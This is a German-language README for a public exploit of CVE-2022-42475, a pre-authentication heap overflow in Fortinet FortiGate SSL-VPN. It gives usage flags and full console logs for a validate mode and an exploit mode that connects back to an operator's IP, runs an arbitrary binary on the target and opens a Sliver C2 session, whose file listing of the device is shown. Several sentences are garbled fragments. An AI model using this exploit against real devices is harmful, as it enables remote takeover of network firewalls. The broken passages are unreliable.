
Ein Exploit für CVE-2022-42475, ein Heap-Overflow vor der Authentifizierung in Fortinet-Netzwerkprodukten
Dies ist der Exploit für den Blogbeitrag hier: https://bishopfox.com/blog/exploit-cve-2022-42475
Diese Version des Exploits wird ohne Ihre Bereitstellung der erforderlichen Speicheradressen für ROP-Gadgets usw. nicht funktionieren. Die Arbeit zur Bestimmung dieser Daten ist vertraulich und Eigentum von Bishop Fox, und ich werde sie (kann sie nicht) zusammen mit diesem Exploit veröffentlichen. Ich vertraue darauf, dass Sie das verstehen!
execve(binary_file) auf.Hinweis: Derzeit funktioniert der Modus „Nur validieren“ mit allen bekannten Versionen von FortiOS. Exploits funktionieren jedoch nur gegen FortiOS 6.0.4 auf 100D-Hardware. Ich arbeite nicht mehr bei BF und kann daher den erweiterten Exploit, der etwa 18k Ziele unterstützt, nicht veröffentlichen.
pip3 install PyCrypto
pip3 install pycryptodome
Dies wird keinen Versuch unternehmen, den Fehler auszunutzen, sondern löst ihn stattdessen als Absturz aus (der entfernte SSL-VPN-Daemon startet automatisch und sofort neu). Der Absturz wird heuristisch erkannt und dem Operator gemeldet.
Führen Sie es mit dem Validierungsflag -v aus:
$ ./x.py -t 192.168.0.10 -p 8443 -v
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] Running in validate-only mode. No RCE.
[>] Testing to see if target is vulnerable (may take 10 seconds)
[+] Target '192.168.0.10:8443' appears to be VULNERABLE
Dies wird den Fehler auslösen, eine ROP-Kette bereitstellen und zum Shellcode springen. Der Shellcode ist harmlos und funktioniert wie folgt:
0xbf/tmp/x0xbf-Byte an den Exploit, wenn die Payload-Entschlüsselung erfolgreich warFlags:
-t Ziel-Host/IP
-p Ziel-Port
-e Exploit-Modus
-c Nur Connect-Back-Modus
-H und -P IP:Port des Operators (erforderlich)
-s Softwareversion von FortiOS (erforderlich)
-m Hardware-Modell, auf dem FortiOS läuft
-d Debugging einschalten
Ein Beispiel, bei dem wir sowohl die Softwareversion 6.0.4 als auch das Gerätemodell 100D auswählen:
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D 130 ⨯
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] Generating random 128-bit AES key to encrypt payload
[+] Encrypting payload...
[+] Using cached shellcode. Edit ./x.py (look for 'shellcode.s') to force refresh.
[+] Configured for connect-back to 192.168.0.99:443
[+] Starting encrypted payload listener...
[+] Preparing for exploit...
[+] Sending request!
[+] Importing gadgets from 'exploit_data.json'
[<] Listener bound to port 443, waiting for connect-back...
[+] Validating gadgets...
[!] No functional hardware models were defined for FortiOS '5.2.14'. Removed.
[!] No functional hardware models were defined for FortiOS '5.6.9'. Removed.
[+] Imported 797 targets:
[-] 6.0.4 [ 1 targets ] <=== 100D
[-] 5.2.14 [ 47 targets ]
[-] 5.6.9 [ 60 targets ]
[-] 6.0.13 [ 68 targets ]
[-] 6.0.14 [ 67 targets ]
[-] 6.0.15 [ 58 targets ]
[-] 6.0.8 [ 67 targets ]
[-] 6.2.11 [ 69 targets ]
[-] 6.2.7 [ 75 targets ]
[-] 6.4.10 [ 71 targets ]
[-] 6.4.2 [ 62 targets ]
[-] 6.4.3 [ 61 targets ]
[-] 6.4.6 [ 73 targets ]
[-] 6.4.9 [ 72 targets ]
[-] 7.0.4 [ 53 targets ]
[+] Starting exploit
[<] Incoming request from 192.168.0.10:22470
[<] Received hello packet from target!! Model #: 100D
[<] Sending encrypted payload of 36 bytes
[<] Finished sending payload (36 bytes), waiting for response...
[<] Received the expected response ('100D') from 192.168.0.10
[<] Target is VULNERABLE with 100% confidence.
[+] All done!
Wenn Sie -m zur Auswahl eines Hardwaremodells weglassen, wird der Exploit alle Hardwareziele für die angegebene Softwareversion durch Brute-Force ermitteln.
0xbf/tmp/x0xbf an den Exploitexecve("/tmp/x") aufFlags:
-t Ziel-Host/IP
-p Ziel-Port
-e Exploit-Modus
-f Dateiname /pfad/zu/binary/execve/auf/dem/ziel
-H und -P IP:Port des Operators für Connect-Back (erforderlich)
-s Softwareversion von FortiOS (erforderlich)
-m Hardware-Modell, auf dem FortiOS läuft
-d Debugging einschalten
Sliver:
carl@pluto:~$ ./sliver-server_linux
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'
All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options
[server] sliver > mtls -l 8888
[*] Starting mTLS listener ...
[*] Successfully started job #1
Exploit:
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] Exploit will attempt to execve("implant5") on the target
...
[<] Target is VULNERABLE with 100% confidence.
[+] All done.
Und zurück in Sliver:
[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST
[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad
[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)
[server] sliver (implant5) > whoami
Logon ID: <err>
[server] sliver (implant5) > ls
/ (19 items, 10.0 KiB)
======================
-rw-r--r-- .ash_history 590 B Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x bin <dir> Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x data <dir> Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x data2 <dir> Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x dev <dir> Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx etc -> data/etc 8 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx fortidev -> / 1 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx init -> /sbin/init 10 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x lib <dir> Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx lib64 -> lib 3 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x migadmin <dir> Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x proc <dir> Tue Jan 31 05:23:13 +0000 2023
drwx------ root <dir> Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x sbin <dir> Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x security-rating <dir> Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x sys <dir> Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx tmp <dir> Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x usr <dir> Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x var <dir> Tue Jan 31 05:24:07 +0000 2023
Beachten Sie, dass Sliver <err> zurückgibt, weil FortiOS irgendwie größtenteils Linux ist und nicht immer so funktioniert, wie man es erwarten würde. Dies ist ein Problem von FortiOS, nicht von Sliver.
Ich arbeite nicht mehr bei Bishop Fox, daher müssen Sie dem BF-GitHub für Updates zu diesem Thema folgen.